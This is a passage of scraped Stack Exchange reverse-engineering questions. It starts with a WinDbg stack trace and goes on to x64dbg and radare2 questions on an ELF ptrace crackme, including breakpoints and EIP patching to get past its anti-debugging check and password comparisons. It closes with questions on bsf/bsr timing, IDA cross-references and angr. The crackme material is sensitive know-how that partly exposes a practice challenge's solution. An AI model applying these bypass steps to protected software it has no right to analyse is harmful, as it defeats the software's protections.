+0f 0019eb28 761b507a 0019f164 761b4f50 0019f85c combase!CClassCache::GetClassObject+0x30 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 5284] 
+10 (Inline) -------- -------- -------- -------- combase!CCGetClassObject+0x3d (Inline Function @ 761b507a) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 8308] 
+11 0019eb94 762088ad 7633b4a4 0019f164 0019f85c combase!CServerContextActivator::GetClassObject+0x12a (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 719] 
+12 0019ebd0 7622173b 0019f164 0019f85c 00000000 combase!ActivationPropertiesIn::DelegateGetClassObject+0x8d (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1832] 
+13 0019ebf8 76221056 7633b4a8 0019f164 0019f85c combase!CApartmentActivator::GetClassObject+0x6b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 2089] 
+14 0019ec1c 762210d0 7633b4a0 00000001 00000000 combase!CProcessActivator::GCOCallback+0x56 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1569] 
+15 0019ec40 7622115b 7633b4a0 0019ef90 00000000 combase!CProcessActivator::AttemptActivation+0x40 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1524] 
+16 0019ec84 762213aa 7633b4a0 0019ef90 00000000 combase!CProcessActivator::ActivateByContext+0x7b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1390] 
+17 0019ecb4 762088c0 7633b4a0 0019f164 0019f85c combase!CProcessActivator::GetClassObject+0x6a (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1213] 
+18 0019ecf0 76205907 0019f164 0019f85c 003a0043 combase!ActivationPropertiesIn::DelegateGetClassObject+0xa0 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1832] 
+19 0019ef44 7620888d 7633b49c 0019f164 0019f85c combase!CClientContextActivator::GetClassObject+0xd7 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 451] 
+1a 0019ef80 76202204 0019f164 0019f85c 76124fa8 combase!ActivationPropertiesIn::DelegateGetClassObject+0x6d (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1884] 
+1b 0019f99c 7618cd55 00000000 66030510 00000000 combase!ICoGetClassObject+0x834 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\objact.cxx @ 1341] 
+1c 0019fa50 7618cc3e 00000000 66030510 0019fad0 combase!CComActivator::DoGetClassObject+0xef (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\immact.hxx @ 337] 
+*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\SysWOW64\MSVBVM60.DLL - 
+1d 0019fa70 66070023 005b5cf4 00000003 00000000 combase!CoGetClassObject+0x4e (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actapi.cxx @ 84] 
+WARNING: Stack unwind information not available. Following frames may be wrong.
+1e 0019fa9c 66044e26 005b5cf4 00000003 00000000 MSVBVM60!IID_IVbaHost+0x419e3
+1f 0019fad4 66045557 0000002d 02392574 66012f70 MSVBVM60!IID_IVbaHost+0x167e6
+20 0019fb2c 66048e33 00000001 02392574 0019fb74 MSVBVM60!IID_IVbaHost+0x16f17
+21 0019fb3c 6606d2cc 0000002d 02392574 005b5c70 MSVBVM60!IID_IVbaHost+0x1a7f3
+22 0019fb74 66032695 02392ccc 02392574 02392b1c MSVBVM60!IID_IVbaHost+0x3ec8c
+23 0019fba0 6603291b 024a05bc 0019fbc4 02392ccc MSVBVM60!IID_IVbaHost+0x4055
+24 0019fbc8 6603295e 024a05bc 02392574 00000000 MSVBVM60!IID_IVbaHost+0x42db
+25 0019fbf8 66032737 024a05bc 02392501 00000000 MSVBVM60!IID_IVbaHost+0x431e
+26 0019fc30 660320a5 024a05bc 02392574 02392454 MSVBVM60!IID_IVbaHost+0x40f7
+27 0019fc90 66031ead 024a05bc 00000000 00000000 MSVBVM60!IID_IVbaHost+0x3a65
+28 0019fcb0 660648d1 024a05bc 005b5f9c 00000000 MSVBVM60!IID_IVbaHost+0x386d
+29 0019fd08 6606ff18 0019fd40 00000001 024a05bc MSVBVM60!IID_IVbaHost+0x36291
+2a 0019fd44 6601e703 02392454 00000001 00403010 MSVBVM60!IID_IVbaHost+0x418d8
+2b 0019fe94 66007b3e 024a05bc 00401358 005b05bc MSVBVM60!Zombie_Release+0xfcaa
+2c 0019feb8 66003981 00401358 00000000 00401358 MSVBVM60!BASIC_CLASS_QueryInterface+0xeca
+2d 0019fed8 660036fa 00400000 00400000 0040116c MSVBVM60!ThunRTMain+0x3dd
+2e 0019fef8 66003600 00000000 00400000 0040116c MSVBVM60!ThunRTMain+0x156
+2f 0019ff78 00401176 00401358 75f98484 00321000 MSVBVM60!ThunRTMain+0x5c
+30 0019ff94 77443ab8 00321000 9e744259 00000000 fee3!__vbaS+0xa
+31 0019ffdc 77443a88 ffffffff 7745f2f4 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
+32 0019ffec 00000000 0040116c 00321000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
+
+" +['x64dbg']," Title: Go back to the function call addressBody: My question is simple : When I enter into a function call, I can't go back to this same call. Is there a functionality which could permit me to do this in x64dbg? +Or for example if we want to trace back from a chosen address... +I hope I am clear enough... +" +"['ida', 'binary-analysis', 'radare2', 'anti-debugging', 'crackme']"," Title: Radare2 does not display the entire assembler codeBody: I am trying to solve this ELF - Ptrace crack me. Here are the commands I use : + +I start radare2 with the crack me as argument. + +
radare2 ch3.bin
+
+ +I decide to go to the main and print the assembly code : + +
[0x080482f0]> s main 
+
+[0x080483f0]> pdf
+            ;-- main:
+/ (fcn) sym.main 175
+|   int sym.main (int argc, char **argv, char **envp);
+|           ; var char *s @ ebp-0x16
+|           ; var int var_ch @ ebp-0xc
+|           ; var int var_4h @ ebp-0x4
+|           ; arg int arg_4h @ esp+0x4
+|           ; DATA XREF from entry0 (0x8048307)
+|           0x080483f0      8d4c2404       lea ecx, [arg_4h]           ; sym._nl_current_LC_MONETARY
+|           0x080483f4      83e4f0         and esp, 0xfffffff0
+|           0x080483f7      ff71fc         push dword [ecx - 4]
+|           0x080483fa      55             push ebp
+|           0x080483fb      89e5           mov ebp, esp
+|           0x080483fd      51             push ecx
+|           0x080483fe      83ec14         sub esp, 0x14
+|           0x08048401      c745f488280c.  mov dword [var_ch], str.ksuiealohgy ; 0x80c2888 ; ""ksuiealohgy""
+|           0x08048408      6a00           push 0                      ; void*data
+|           0x0804840a      6a01           push 1                      ; loc._nl_current_LC_MONETARY_used ; void*addr
+|           0x0804840c      6a00           push 0                      ; pid_t pid
+|           0x0804840e      6a00           push 0                      ; __ptrace_request request
+|           0x08048410      e85b060100     call sym.ptrace
+|           0x08048415      83c410         add esp, 0x10
+|           0x08048418      85c0           test eax, eax
+|       ,=< 0x0804841a      791a           jns 0x8048436
+|       |   0x0804841c      83ec0c         sub esp, 0xc
+|       |   0x0804841f      6894280c08     push str.Debugger_detect___..._Exit ; 0x80c2894 ; ""Debugger detect\u00e9 ... Exit"" ; const char *s
+|       |   0x08048424      e8a70e0000     call sym.puts               ; int puts(const char *s)
+|       |   0x08048429      83c410         add esp, 0x10
+|       |   0x0804842c      b801000000     mov eax, 1
+|      ,==< 0x08048431      e9c3000000     jmp loc.080484f9
+|      ||   ; CODE XREF from sym.main (0x804841a)
+|      |`-> 0x08048436      83ec0c         sub esp, 0xc
+|      |    0x08048439      68b0280c08     push 0x80c28b0              ; ""############################################################"" ; const char *s
+|      |    0x0804843e      e88d0e0000     call sym.puts               ; int puts(const char *s)
+|      |    0x08048443      83c410         add esp, 0x10
+|      |    0x08048446      83ec0c         sub esp, 0xc
+|      |    0x08048449      68f0280c08     push str.Bienvennue_dans_ce_challenge_de_cracking ; 0x80c28f0 ; ""##        Bienvennue dans ce challenge de cracking        ##"" ; const char *s
+|      |    0x0804844e      e87d0e0000     call sym.puts               ; int puts(const char *s)
+|      |    0x08048453      83c410         add esp, 0x10
+|      |    0x08048456      83ec0c         sub esp, 0xc
+|      |    0x08048459      6830290c08     push 0x80c2930              ; ""############################################################\n"" ; const char *s
+|      |    0x0804845e      e86d0e0000     call sym.puts               ; int puts(const char *s)
+|      |    0x08048463      83c410         add esp, 0x10
+|      |    0x08048466      b86e290c08     mov eax, str.Password_:     ; 0x80c296e ; ""Password : ""
+|      |    0x0804846b      83ec0c         sub esp, 0xc
+|      |    0x0804846e      50             push eax
+|      |    0x0804846f      e8ec0a0000     call sym.__printf
+|      |    0x08048474      83c410         add esp, 0x10
+|      |    0x08048477      a19c540e08     mov eax, dword obj.stdin    ; obj._IO_stdin ; [0x80e549c:4]=0x80e5080 obj._IO_2_1_stdin
+|      |    0x0804847c      83ec04         sub esp, 4
+|      |    0x0804847f      50             push eax                    ; FILE *stream
+|      |    0x08048480      6a09           push 9                      ; 9 ; int size
+|      |    0x08048482      8d45ea         lea eax, [s]
+|      |    0x08048485      50             push eax                    ; char *s
+|      |    0x08048486      e8050b0000     call sym.fgets              ; char *fgets(char *s, int size, FILE *stream)
+|      |    0x0804848b      83c410         add esp, 0x10
+|      |    0x0804848e      8d0597840408   lea eax, loc._notng         ; 0x8048497
+|      |    0x08048494      40             inc eax
+\      |    0x08048495      ffe0           jmp eax
+       |    ;-- _notng:
+
+ +That's where I find the code really strange. There are no more instructions after retrieving the string (the password). + +Thanks to blabb, I am able to print the code directly with the command pd 100 @ main. The output is : + +
[0x080483f0]> pd 100 @ main
+            ;-- main:
+/ (fcn) sym.main 175
+|   int sym.main (int argc, char **argv, char **envp);
+|           ; var char *s @ ebp-0x16
+|           ; var int var_ch @ ebp-0xc
+|           ; var int var_4h @ ebp-0x4
+|           ; arg int arg_4h @ esp+0x4
+|           ; DATA XREF from entry0 (0x8048307)
+|           0x080483f0      8d4c2404       lea ecx, [arg_4h]           ; sym._nl_current_LC_MONETARY
+|           0x080483f4      83e4f0         and esp, 0xfffffff0
+|           0x080483f7      ff71fc         push dword [ecx - 4]
+|           0x080483fa      55             push ebp
+|           0x080483fb      89e5           mov ebp, esp
+|           0x080483fd      51             push ecx
+|           0x080483fe      83ec14         sub esp, 0x14
+|           0x08048401      c745f488280c.  mov dword [var_ch], str.ksuiealohgy ; 0x80c2888 ; ""ksuiealohgy""
+|           0x08048408      6a00           push 0                      ; void*data
+|           0x0804840a      6a01           push 1                      ; loc._nl_current_LC_MONETARY_used ; void*addr
+|           0x0804840c      6a00           push 0                      ; pid_t pid
+|           0x0804840e      6a00           push 0                      ; __ptrace_request request
+|           0x08048410      e85b060100     call sym.ptrace
+|           0x08048415      83c410         add esp, 0x10
+|           0x08048418      85c0           test eax, eax
+|       ,=< 0x0804841a      791a           jns 0x8048436
+|       |   0x0804841c      83ec0c         sub esp, 0xc
+|       |   0x0804841f      6894280c08     push str.Debugger_detect___..._Exit ; 0x80c2894 ; ""Debugger detect\u00e9 ... Exit"" ; const char *s
+|       |   0x08048424      e8a70e0000     call sym.puts               ; int puts(const char *s)
+|       |   0x08048429      83c410         add esp, 0x10
+|       |   0x0804842c      b801000000     mov eax, 1
+|      ,==< 0x08048431      e9c3000000     jmp loc.080484f9
+|      ||   ; CODE XREF from sym.main (0x804841a)
+|      |`-> 0x08048436      83ec0c         sub esp, 0xc
+|      |    0x08048439      68b0280c08     push 0x80c28b0              ; ""############################################################"" ; const char *s
+|      |    0x0804843e      e88d0e0000     call sym.puts               ; int puts(const char *s)
+|      |    0x08048443      83c410         add esp, 0x10
+|      |    0x08048446      83ec0c         sub esp, 0xc
+|      |    0x08048449      68f0280c08     push str.Bienvennue_dans_ce_challenge_de_cracking ; 0x80c28f0 ; ""##        Bienvennue dans ce challenge de cracking        ##"" ; const char *s
+|      |    0x0804844e      e87d0e0000     call sym.puts               ; int puts(const char *s)
+|      |    0x08048453      83c410         add esp, 0x10
+|      |    0x08048456      83ec0c         sub esp, 0xc
+|      |    0x08048459      6830290c08     push 0x80c2930              ; ""############################################################\n"" ; const char *s
+|      |    0x0804845e      e86d0e0000     call sym.puts               ; int puts(const char *s)
+|      |    0x08048463      83c410         add esp, 0x10
+|      |    0x08048466      b86e290c08     mov eax, str.Password_:     ; 0x80c296e ; ""Password : ""
+|      |    0x0804846b      83ec0c         sub esp, 0xc
+|      |    0x0804846e      50             push eax
+|      |    0x0804846f      e8ec0a0000     call sym.__printf
+|      |    0x08048474      83c410         add esp, 0x10
+|      |    0x08048477      a19c540e08     mov eax, dword obj.stdin    ; obj._IO_stdin ; [0x80e549c:4]=0x80e5080 obj._IO_2_1_stdin
+|      |    0x0804847c      83ec04         sub esp, 4
+|      |    0x0804847f      50             push eax                    ; FILE *stream
+|      |    0x08048480      6a09           push 9                      ; 9 ; int size
+|      |    0x08048482      8d45ea         lea eax, [s]
+|      |    0x08048485      50             push eax                    ; char *s
+|      |    0x08048486      e8050b0000     call sym.fgets              ; char *fgets(char *s, int size, FILE *stream)
+|      |    0x0804848b      83c410         add esp, 0x10
+|      |    0x0804848e      8d0597840408   lea eax, loc._notng         ; 0x8048497
+|      |    0x08048494      40             inc eax
+\      |    0x08048495      ffe0           jmp eax
+       |    ;-- _notng:
+       |    ; DATA XREF from sym.main (0x804848e)
+       |    0x08048497      b88a55ea8b     mov eax, 0x8bea558a
+       |    0x0804849c      45             inc ebp
+       |    0x0804849d      f4             hlt
+       |    0x0804849e      83c004         add eax, 4
+       |    0x080484a1      8a00           mov al, byte [eax]
+       |    0x080484a3      38c2           cmp dl, al
+       |,=< 0x080484a5      753d           jne 0x80484e4
+       ||   0x080484a7      8a55eb         mov dl, byte [ebp - 0x15]
+       ||   0x080484aa      8b45f4         mov eax, dword [ebp - 0xc]
+       ||   0x080484ad      83c005         add eax, 5
+       ||   0x080484b0      8a00           mov al, byte [eax]
+       ||   0x080484b2      38c2           cmp dl, al
+      ,===< 0x080484b4      752e           jne 0x80484e4
+      |||   0x080484b6      8a55ec         mov dl, byte [ebp - 0x14]
+      |||   0x080484b9      8b45f4         mov eax, dword [ebp - 0xc]
+      |||   0x080484bc      40             inc eax
+      |||   0x080484bd      8a00           mov al, byte [eax]
+      |||   0x080484bf      38c2           cmp dl, al
+     ,====< 0x080484c1      7521           jne 0x80484e4
+     ||||   0x080484c3      8a55ed         mov dl, byte [ebp - 0x13]
+     ||||   0x080484c6      8b45f4         mov eax, dword [ebp - 0xc]
+     ||||   0x080484c9      83c00a         add eax, 0xa
+     ||||   0x080484cc      8a00           mov al, byte [eax]
+     ||||   0x080484ce      38c2           cmp dl, al
+    ,=====< 0x080484d0      7512           jne 0x80484e4
+    |||||   0x080484d2      83ec0c         sub esp, 0xc
+    |||||   0x080484d5      687a290c08     push str.Good_password      ; 0x80c297a ; ""\nGood password !!!\n""
+    |||||   0x080484da      e8f10d0000     call sym.puts               ; int puts(const char *s)
+    |||||   0x080484df      83c410         add esp, 0x10
+   ,======< 0x080484e2      eb10           jmp 0x80484f4
+   ||||||   ; CODE XREFS from loc._notng (+0xe, +0x1d, +0x2a, +0x39)
+   |```-`-> 0x080484e4      83ec0c         sub esp, 0xc
+   |   |    0x080484e7      688e290c08     push str.Wrong_password.    ; 0x80c298e ; ""\nWrong password.\n""
+   |   |    0x080484ec      e8df0d0000     call sym.puts               ; int puts(const char *s)
+   |   |    0x080484f1      83c410         add esp, 0x10
+   |   |    ; CODE XREF from loc._notng (+0x4b)
+   `------> 0x080484f4      b800000000     mov eax, 0
+|- loc.080484f9 8
+|   loc.080484f9 ();
+|      |    ; var int var_4h @ ebp-0x4
+|      |    ; CODE XREF from sym.main (0x8048431)
+|      `--> 0x080484f9      8b4dfc         mov ecx, dword [var_4h]
+|           0x080484fc      c9             leave
+|           0x080484fd      8d61fc         lea esp, [ecx - 4]
+\           0x08048500      c3             ret
+            0x08048501      90             nop
+            0x08048502      90             nop
+            0x08048503      90             nop
+            0x08048504      90             nop
+            0x08048505      90             nop
+            0x08048506      90             nop
+            0x08048507      90             nop
+            0x08048508      90             nop
+            0x08048509      90             nop
+            0x0804850a      90             nop
+            0x0804850b      90             nop
+[0x080483f0]> 
+
+ +Why I am obligated to enter this command and not pdf ? +" +"['binary-analysis', 'radare2', 'breakpoint', 'stack', 'crackme']"," Title: How to print the value of register with Radare 2Body: I am trying to solve this ELF - Ptrace challenge. I use Radare 2. This is the commands I execute to print the assembly code. + +
radare2 ch3.bin
+[0x080482f0]> aaa
+[[anal.jmptbl] Missing cjmp bb in predecessor at 0x08057fca
+[anal.jmptbl] Missing cjmp bb in predecessor at 0x08057f4a
+[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc43
+[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc23
+[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc63
+[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc83
+[x] Analyze all flags starting with sym. and entry0 (aa)
+[x] Analyze function calls (aac)
+[x] Analyze len bytes of instructions for references (aar)
+[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
+[x] Type matching analysis for all functions (aaft)
+[x] Use -AA or aaaa to perform additional experimental analysis.
+
+[0xf7f0b049]> pd 100 @ main
+            ;-- main:
+/ (fcn) sym.main 175
+|   int sym.main (int argc, char **argv, char **envp);
+|           ; var char *s @ ebp-0x16
+|           ; var int var_ch @ ebp-0xc
+|           ; var int var_4h @ ebp-0x4
+|           ; arg int arg_4h @ esp+0x4
+|           ; DATA XREF from entry0 (0x8048307)
+|           0x080483f0      8d4c2404       lea ecx, [arg_4h]           ; sym._nl_current_LC_MONETARY
+|           0x080483f4      83e4f0         and esp, 0xfffffff0
+|           0x080483f7      ff71fc         push dword [ecx - 4]
+|           0x080483fa      55             push ebp
+|           0x080483fb      89e5           mov ebp, esp
+|           0x080483fd      51             push ecx
+|           0x080483fe      83ec14         sub esp, 0x14
+|           0x08048401      c745f488280c.  mov dword [var_ch], str.ksuiealohgy ; 0x80c2888 ; ""ksuiealohgy""
+|           0x08048408      6a00           push 0                      ; void*data
+|           0x0804840a      6a01           push 1                      ; ecx ; void*addr
+|           0x0804840c      6a00           push 0                      ; pid_t pid
+|           0x0804840e      6a00           push 0                      ; __ptrace_request request
+|           0x08048410      e85b060100     call sym.ptrace
+|           0x08048415      83c410         add esp, 0x10
+|           0x08048418      85c0           test eax, eax
+|       ,=< 0x0804841a b    791a           jns 0x8048436
+|       |   0x0804841c      83ec0c         sub esp, 0xc
+|       |   0x0804841f      6894280c08     push str.Debugger_detect___..._Exit ; 0x80c2894 ; ""Debugger detect\u00e9 ... Exit"" ; const char *s
+|       |   0x08048424      e8a70e0000     call sym.puts               ; int puts(const char *s)
+|       |   0x08048429      83c410         add esp, 0x10
+|       |   0x0804842c      b801000000     mov eax, 1
+|      ,==< 0x08048431      e9c3000000     jmp loc.080484f9
+|      ||   ; CODE XREF from sym.main (0x804841a)
+|      |`-> 0x08048436      83ec0c         sub esp, 0xc
+|      |    0x08048439      68b0280c08     push 0x80c28b0              ; const char *s
+|      |    0x0804843e      e88d0e0000     call sym.puts               ; int puts(const char *s)
+|      |    0x08048443      83c410         add esp, 0x10
+|      |    0x08048446      83ec0c         sub esp, 0xc
+|      |    0x08048449      68f0280c08     push str.Bienvennue_dans_ce_challenge_de_cracking ; 0x80c28f0 ; ""##        Bienvennue dans ce challenge de cracking        ##"" ; const char *s
+|      |    0x0804844e      e87d0e0000     call sym.puts               ; int puts(const char *s)
+|      |    0x08048453      83c410         add esp, 0x10
+|      |    0x08048456      83ec0c         sub esp, 0xc
+|      |    0x08048459      6830290c08     push 0x80c2930              ; const char *s
+|      |    0x0804845e      e86d0e0000     call sym.puts               ; int puts(const char *s)
+|      |    0x08048463      83c410         add esp, 0x10
+|      |    0x08048466      b86e290c08     mov eax, str.Password_:     ; 0x80c296e ; ""Password : ""
+|      |    0x0804846b      83ec0c         sub esp, 0xc
+|      |    0x0804846e      50             push eax
+|      |    0x0804846f      e8ec0a0000     call sym.__printf
+|      |    0x08048474      83c410         add esp, 0x10
+|      |    0x08048477      a19c540e08     mov eax, dword obj.stdin    ; obj._IO_stdin ; [0x80e549c:4]=0x80e5080 obj._IO_2_1_stdin
+|      |    0x0804847c      83ec04         sub esp, 4
+|      |    0x0804847f      50             push eax                    ; FILE *stream
+|      |    0x08048480      6a09           push 9                      ; 9 ; int size
+|      |    0x08048482      8d45ea         lea eax, [s]
+|      |    0x08048485      50             push eax                    ; char *s
+|      |    0x08048486      e8050b0000     call sym.fgets              ; char *fgets(char *s, int size, FILE *stream)
+|      |    0x0804848b      83c410         add esp, 0x10
+|      |    0x0804848e      8d0597840408   lea eax, loc._notng         ; 0x8048497
+|      |    0x08048494      40             inc eax
+\      |    0x08048495      ffe0           jmp eax
+       |    ;-- _notng:
+       |    ; DATA XREF from sym.main (0x804848e)
+       |    0x08048497      b88a55ea8b     mov eax, 0x8bea558a
+       |    0x0804849c      45             inc ebp
+       |    0x0804849d      f4             hlt
+       |    0x0804849e      83c004         add eax, 4
+       |    0x080484a1      8a00           mov al, byte [eax]
+       |    0x080484a3      38c2           cmp dl, al
+       |,=< 0x080484a5 b    753d           jne 0x80484e4
+       ||   0x080484a7      8a55eb         mov dl, byte [ebp - 0x15]
+       ||   0x080484aa      8b45f4         mov eax, dword [ebp - 0xc]
+       ||   0x080484ad      83c005         add eax, 5
+       ||   0x080484b0      8a00           mov al, byte [eax]
+       ||   0x080484b2      38c2           cmp dl, al
+      ,===< 0x080484b4      752e           jne 0x80484e4
+      |||   0x080484b6      8a55ec         mov dl, byte [ebp - 0x14]
+      |||   0x080484b9      8b45f4         mov eax, dword [ebp - 0xc]
+      |||   0x080484bc      40             inc eax
+      |||   0x080484bd      8a00           mov al, byte [eax]
+      |||   0x080484bf      38c2           cmp dl, al
+     ,====< 0x080484c1 b    7521           jne 0x80484e4
+     ||||   0x080484c3      8a55ed         mov dl, byte [ebp - 0x13]
+     ||||   0x080484c6      8b45f4         mov eax, dword [ebp - 0xc]
+     ||||   0x080484c9      83c00a         add eax, 0xa
+     ||||   0x080484cc      8a00           mov al, byte [eax]
+     ||||   0x080484ce      38c2           cmp dl, al
+    ,=====< 0x080484d0 b    7512           jne 0x80484e4
+    |||||   0x080484d2      83ec0c         sub esp, 0xc
+    |||||   0x080484d5      687a290c08     push str.Good_password      ; 0x80c297a ; ""\nGood password !!!\n""
+    |||||   0x080484da      e8f10d0000     call sym.puts               ; int puts(const char *s)
+    |||||   0x080484df      83c410         add esp, 0x10
+   ,======< 0x080484e2      eb10           jmp 0x80484f4
+   ||||||   ; CODE XREFS from loc._notng (+0xe, +0x1d, +0x2a, +0x39)
+   |```-`-> 0x080484e4 b    83ec0c         sub esp, 0xc
+   |   |    0x080484e7      688e290c08     push str.Wrong_password.    ; 0x80c298e ; ""\nWrong password.\n""
+   |   |    0x080484ec      e8df0d0000     call sym.puts               ; int puts(const char *s)
+   |   |    0x080484f1      83c410         add esp, 0x10
+   |   |    ; CODE XREF from loc._notng (+0x4b)
+   `------> 0x080484f4      b800000000     mov eax, 0
+|- loc.080484f9 8
+|   loc.080484f9 ();
+|      |    ; var int var_4h @ ebp-0x4
+|      |    ; CODE XREF from sym.main (0x8048431)
+|      `--> 0x080484f9      8b4dfc         mov ecx, dword [var_4h]
+|           0x080484fc      c9             leave
+|           0x080484fd      8d61fc         lea esp, [ecx - 4]
+\           0x08048500      c3             ret
+            0x08048501      90             nop
+            0x08048502      90             nop
+            0x08048503      90             nop
+            0x08048504      90             nop
+            0x08048505      90             nop
+            0x08048506      90             nop
+            0x08048507      90             nop
+            0x08048508      90             nop
+            0x08048509      90             nop
+            0x0804850a      90             nop
+            0x0804850b      90             nop
+
+ +I can see that there is an anti-debugging technic at instruction 0x0804841a, I can bypass it putting a break point and modifying eip adress on the fly. +I can also see that there is several tests before print Good Password!!! +I put all the breakpoints I need : + +
[0x00000000]> ood
+[0x080482f0]> db 0x0804841a
+[0x080482f0]> db 0x080484a5
+[0x080482f0]> db 0x80484e4
+[0x080482f0]> db 0x080484c1
+[0x080482f0]> db 0x080484d0
+[0x080482f0]> dc
+child stopped with signal 28
+[+] SIGNAL 28 errno=0 addr=0x00000000 code=128 ret=0
+[0x080482f0]> dc
+hit breakpoint at: 804841a
+[0x0804841a]> dr eip=0x08048436
+0x0804841a ->0x08048436
+[0x0804841a]> dc
+############################################################
+##        Bienvennue dans ce challenge de cracking        ##
+############################################################
+
+Password : badpassword 
+hit breakpoint at: 80484a5
+[0x080484a5]> dr eip=0x080484a7
+0x080484a5 ->0x080484a7
+[0x080484a5]> dc
+hit breakpoint at: 80484e4
+[0x080484a5]> dr eip=0x080484b6
+0x080484e4 ->0x080484b6
+[0x080484a5]> dc
+hit breakpoint at: 80484c1
+[0x080484a5]> dr eip=0x080484c3
+0x080484c1 ->0x080484c3
+[0x080484a5]> dc
+hit breakpoint at: 80484d0
+[0x080484a5]> ptr axt
+[0x080484a5]> dr
+eax = 0x080c2879
+ebx = 0x00000000
+ecx = 0xffffffff
+edx = 0x080e6515
+esi = 0x08048bc0
+edi = 0x08048b20
+esp = 0xffe51480
+ebp = 0xffe51498
+eip = 0x080484d0
+eflags = 0x00000297
+oeax = 0xffffffff
+
+ +Now, at this point (and for each conditinal previous tests), I would like to print the value of the stack or adresses to see exactly what is compared. My problem is I can't understant what values are compared in the first test for example : + +
   |    ; DATA XREF from sym.main (0x804848e)
+   |    0x08048497      b88a55ea8b     mov eax, 0x8bea558a
+   |    0x0804849c      45             inc ebp
+   |    0x0804849d      f4             hlt
+   |    0x0804849e      83c004         add eax, 4
+   |    0x080484a1      8a00           mov al, byte [eax]
+   |    0x080484a3      38c2           cmp dl, al
+   |,=< 0x080484a5      753d           jne 0x80484e4
+
+ +I think I use a bad way to solve this challenge because I modify each eip to print finally Good Password!!!, I can't see the password on the stack or something else. I use the command pxr @ esp. +What is the content of al and dl ? + +I also tried to generate the source code with Snowman but it doesn't help me : + +
void fun_804849e(void** ecx) {
+    signed char dl2;
+    struct s2421* eax3;
+    int32_t ebp4;
+    int32_t ebp5;
+    int32_t ebp6;
+    int32_t ebp7;
+    int32_t ebp8;
+    int32_t ebp9;
+    int32_t v10;
+    int32_t v11;
+    int32_t v12;
+    int32_t v13;
+    int32_t v14;
+    int32_t v15;
+
+    if (dl2 != eax3->f4 || (*reinterpret_cast<signed char*>(ebp4 - 21) != (*reinterpret_cast<struct s2422**>(ebp5 - 12))->f5 || (*reinterpret_cast<signed char*>(ebp6 - 20) != (*reinterpret_cast<struct s2423**>(ebp7 - 12))->f1 || *reinterpret_cast<signed char*>(ebp8 - 19) != (*reinterpret_cast<struct s2424**>(ebp9 - 12))->f10))) {
+        _IO_puts(ecx, ""\nWrong password.\n"", v10, v11, v12, __return_address());
+    } else {
+        _IO_puts(ecx, ""\nGood password !!!\n"", v13, v14, v15, __return_address());
+    }
+}
+
+" +"['assembly', 'x86', 'intel']"," Title: Understand the CPU cycles of x86 instruction bsr/bsfBody: I am on the hook to analysis some ""timing channels"" of some x86 binary code. I am posting one question to comprehend bsf/bsr opcode. + +So high-levelly, these two opcodes can be modeled as a ""loop"", which counts the leading and trailing zeros of a given operand. The x86 manual has a good formalization of these opcodes, something like the following: + +
IF SRC = 0
+  THEN
+    ZF ← 1;
+    DEST is undefined;
+  ELSE
+    ZF ← 0;
+    temp ← OperandSize – 1;
+    WHILE Bit(SRC, temp) = 0
+    DO
+      temp ← temp - 1;
+    OD;
+    DEST ← temp;
+FI;
+
+ +But to my suprise, bsf/bsr instructions seem to have fixed cpu cycles. According to some documents I found here: https://gmplib.org/~tege/x86-timing.pdf, seems that they always take 8 CPU cycles to finish. + +So here are my questions: + +
    +
  1. I am confirming that these instructions have fixed cpu cycles. In other words, no matter what operand is given, they always take the same amount of time to process, and there is no ""timing channel"" behind. I cannot find corresponding specifications in Intel's official documents.
  2. +
  3. Then why it is possible? Apparently this is a ""loop"" or somewhat, at least high-levelly. What is the design decision behind? Easier for CPU pipelines?
  4. +
+" +"['ida', 'hexrays']"," Title: IDA Hex-Rays: How to find all references to the certain field of all instances of the data type?Body: This question has already been asked here but for some reason it was deleted, as ""dead"". + +I will try to explain again. I have a specific data type. It is used in a large number of disassembled functions. This type has a field whose purpose is unknown. I need to find all references to this field in the entire application. + +I can belive to @Biswapriyo, that this behavior is by design and I cannot find xrefs to the field of data type. Ok, got it. Now I need to find a way to do that! :) + +Perhaps there are any plugin? I don't understand why this can be difficult, since to perform this action, it is enough to generate a .c file, open it in notepad and press Ctrl+F. I want this functionality to be in IDA Hex-Rays. +" +['angr']," Title: Solve an angr function with string parametersBody: Look at this C code: + +
#include <stdio.h>
+#include <string.h>
+
+int my_function(char *s);
+
+int my_function(char *s)
+{
+    for (int i=0;i<strlen(s);i++)
+    {
+       s[i]++;
+    }
+    if (strncmp(s,""b{fsuz"",6)==0)
+    {
+       return 1; 
+    }
+    return 0;
+}
+
+
+int main(int argc , char *argv[])
+{
+    // Lot of stuff, including UI
+    if (my_function(argv[1])==1)
+    {
+        printf(""Good\n"");
+    }
+    else
+    {
+        printf(""Wrong !\n"");
+    }
+    return 0;
+}
+
+ +What i want to do is to make a symbolic analysis on my_function (and only this function) with angr. + +Here is the function disassembly: + +
|           ; var int local_28h @ rbp-0x28
+|           ; var int local_14h @ rbp-0x14
